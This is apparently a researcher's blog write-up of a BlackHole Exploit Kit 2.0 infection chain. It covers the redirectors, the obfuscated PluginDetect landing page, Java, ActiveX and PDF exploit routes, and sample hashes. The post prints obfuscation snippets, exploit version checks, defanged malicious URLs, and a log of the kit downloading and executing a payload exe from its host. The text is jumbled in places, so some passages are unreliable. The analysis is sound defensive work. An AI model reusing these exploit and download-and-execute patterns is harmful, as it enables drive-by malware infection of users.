Assuming the current target is a BlackHole v2.0 infectors online, we picked two urls from blacklist which lead to one infection. This is a story of peeling the threat. But before we continue, one more thing, this post is based on reversing we did while racing with time, sorry if you unhappy with the lack of details, please bare with it. Hope being useful. Here we go:
We got below links, which lead to the same infection case:h00p://184.108.40.206/cKMXzC0n/index.htmlWe fetched it :
(these information we picked up from blacklist, contact me for source..)h00p://85.18.2１.252/cKMXzC0n/index.htmlTo find the below code, contains 4(four) links to js.js file...
Connecting to 192.168.7.11:8118... connected.
Proxy request sent, awaiting response... 200 OK
Length: 418 [text/html]
14:18:37 (1.51 KB/s) - `index.html' saved [418/418]＜html＞Those js.js files are identical one to another (diff'ed them all), And looks like the below contents...(to save space, I pasted only two)
＜/html＞--14:19:48-- h00p：//rolandpangrati・com/N65FCWa1/js.js↑So this is the link of the actual landing page (anybody_miss-knowing.php) We saw the obfuscated BlackHole PluginDetect v0.7.8 code written there: ↑the upper parts was the obfuscation code following w/the decoder logic. If you deobfs it well you'll get this "neutralized" code-->>[PASTEBIN]The techniques used in the obfuscation is by hiding them behind "google" element, using tag values to store obfuscation data:
Resolving rolandpangrati・com... 220.127.116.11
Connecting to rolandpangrati.com|18.104.22.168|:80... connected.
HTTP request sent, awaiting response... 200 OK
14:19:49 (1.14 MB/s) - `js.js' saved [73/73]
$ cat js.js
Resolving www.laptopcolorat・com... 3１.14.23.252
Connecting to www.laptopcolorat.com|22.214.171.124|:80... connected.
HTTP request sent, awaiting response... 200 OK
14:22:57 (2.04 MB/s) - `js.js.1' saved [73/73]
$ cat js.js
＜/u＞＜html＞＜body＞＜sｃriｐt＞..and also there was a string manipulation to hide eval() wordings:
gg="getAttribute";＜/sｃriｐt＞｛window["e"+"v"+"a"+"l"](s);｝There is a step by step manual deobfuscation here:-->>[PASTEBIN]which can be used as reference for patching many automation. While tracing the infection code of PluginDetect with browser's logic, we will explain only 3 infection routes which can be simulated accordingly. (by the time I got this hint, many objects couldn't be reached.. lack of evidence) 1. Java Exploitation 1.1. Updating/install the java old update 1.6.0/vulnerable version... (I really hope the below url or related urls at sun.com to be deleted soon!)＜object1.2. After your browser is having vulnerable java installed, it downloaded - malicious java zpplet w/zeroday PoC exploiting arbitary exec shellcode to download - other evil binary..
WIDTH="200" HEIGHT="200" ＞＜PARAM NAME="ARCHIVE" VALUE="h00p://THIS-HOST-ADDRESS/links/anybody_miss-knowing.php?teredt=373402380a&teysll=4740&limflyi=cpsn&ixvr=joucpxn"＞↑by the time we got the url the applet was not accessible anymore so we cannot describe more of it. 2. The vector of the infection using MSXML2.XMLHTTP/CVE-2010-2561: 3.1. Opening ActiveXObject + creating 3 objects of: adodb.stream, Shell.Application, and msxml2.XMLHTTP 3.2. Linked to ./anybody_miss-knowing.php?[specific parameter] to download exploit 3.3. If this exploit works (CVE-2010-2561) will drop you exe (.//..//c175065.exe) 3.4. via ActiveX command ShellExecute will be used to execute the payload (this shellcode was using the format explained in previous post-->>[URL] The logs lof the above steps...
＜param name="type" value="application/x-java-applet;version=1.6"＞ActiveXObject: msxml2.xmlhttp3. PDF Exploitation - Slight New Changes Detected.. We have good sample of this so we can say much. The PluginDetect look at your Adobe versions then drops pdf/exploit But slight changes found compared to prev. code, not using splx() anymore. Reason? Yes, to avoid detection, and that retarded idea works! The way this code detects the adobe version is as below (same as before..):
[HTTP] URL: x.x.x.x/links/anybody_miss-knowing.php?mkk=373402380a&jiypmeg=3f&eawqt=03370302073706343433&ytejxs=0b000300020002 (Status: 200, Referrer: http://126.96.36.199/links/anybody_miss-knowing.php)
[Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (adodb.stream)
[Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (Shell.Application)
[Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (msxml2.XMLHTTP)
[Microsoft XMLHTTP ActiveX] open('GET', 'x.x.x.x/links/anybody_miss-knowing.php?sby=373402380a&ozitwo=03370302073706343433&udyuxlri=04&gvfvizk=azme&gre=prxm', False)
[Microsoft XMLHTTP ActiveX] send
[Microsoft XMLHTTP ActiveX] Fetching from URL x.x.x.x/links/anybody_miss-knowing.php?sby=373402380a&ozitwo=03370302073706343433&udyuxlri=04&gvfvizk=azme&gre=prxm (method: GET)
[Adodb.Stream ActiveX] open
[Adodb.Stream ActiveX] Write
[Adodb.Stream ActiveX] SaveToFile (.//..//c175065・exe)
[Adodb.Stream ActiveX] Close
[Shell.Application ActiveX] ShellExecute command: .//..//c175065・exePluginDetect.initScript（）；Redirect you the download evil pdf url below (same as before..):
pdfver＝PluginDetect.getVersion（"AdobeReader"）；function x（s）or depends on the version go to NEW BHEK2 URL with evil IFRAME now;
window.onbeforeunload＝function（）show_pdf2＝function（src）Which was reversed and runs as per below..
｝Means the previous pdf version checking used in the BHEK 1.3.2(see below) part was gone, although the same PluginDetect code base is still in use! It is understandable since BHEK2 is using longer format url download w/more parameters.. It's an important evidence to show PluginDetect code was also started to be changed..
iF (pdFver「O」 ＞ O && pdFver「O」 ＜ 8)｛
exec7 = O；
else iF ((pdFver「O」 == 8) || (pdFver「O」 == 9 && pdFver「1」 ＜= 3))｛
exec7 = O；
＜/xfa:scｒipt＞0x0184 /phttp://x.x.x.x/links/anybody_miss-knowing.php?cmpspxc=373402380a&jwk=03370302073706343433&ntzziqi=03&gbks=coi&swlmlswl=culvtnuWhile the collection of these evil junks we analyzed are: PS: I made a mistake to loose PE payload unsaved by proxy operation, couldn't get the payload in the attempt I made afterward, was one time shot.. Sorry for not be able to analyze it.. List of VirusTotal of each unique sample w/initial AV detection ratio:FILENAME MD5 DETECT RATIO ------------------------------------------------------------------------ index.html 9f7ea93cfc911305084c16fb3aeb6517 (18 / 42)js.js 8c53450b115b26d4144eac9d5f11852e ( 0 / 43)anybody_miss-knowing.php 02746b26613d881314d84f3b51d1ad97 ( 3 / 42)acropdf.pdf b72c668b370cc7271094836ad6180d5e ( 8 / 43)acropdf2.pdf f78b18ac786199548e647d94da0555ad ( 8 / 43)
New modification / changes in landing page obfuscated code and some recode in PluginDetect of BHEK2 was starting to be seen, the detection ratio of landing page is currently low for this reported case, so I guess they got what they want, at this moment.
Not a new stuff, but I add anyway, the landing page is being covered well by some steps of forwarder and not to be connected directly to the global link like spam, they currently use a simple redirector for it, which passing the correct parameter to the landing pages and only those redirector urls can be found in spam mails.
And, as per announced in everywhere, the payload download links generated from the BHEK2 landing page is changing to be longer, indeed, but as per written in (@kafeine) site, this findings contains more (3 or 4) parameters per request, not as per one or two long strings as per firstly mentioned elsewhere. See below snips(real case sample):
blah.php?mkk=373402380a&jiypmeg=3f&eawqt=03370302073706343433&ytejxs=0b000300020002Morever about those link is, if you have a lead, then be careful of it, since you may only got one chance to grab it. In dealing with BHEK2, better research those infectors by group rather than doing it alone. I lost my payload because of this reason..
Rerference: (The order is unsorted.. No reason..)
1. Contagio: CVE-2012-4681 samples Original (APT) and Blackhole 2.0 (crime)
2. Malware don't need Coffee: Fast look at an infection by a Blackhole Exploit Kit 2.0
3. Trustwave SpiderLabs: Blackhole Exploit Kit v2
4. Malware don't need Coffee: Behind the Captcha or Inside Blackhole Exploit Kit 2.0 - Exploit Kit Administration Panel
5. XyliBox : Blackhole 2.0
Blackhole Previous Versions: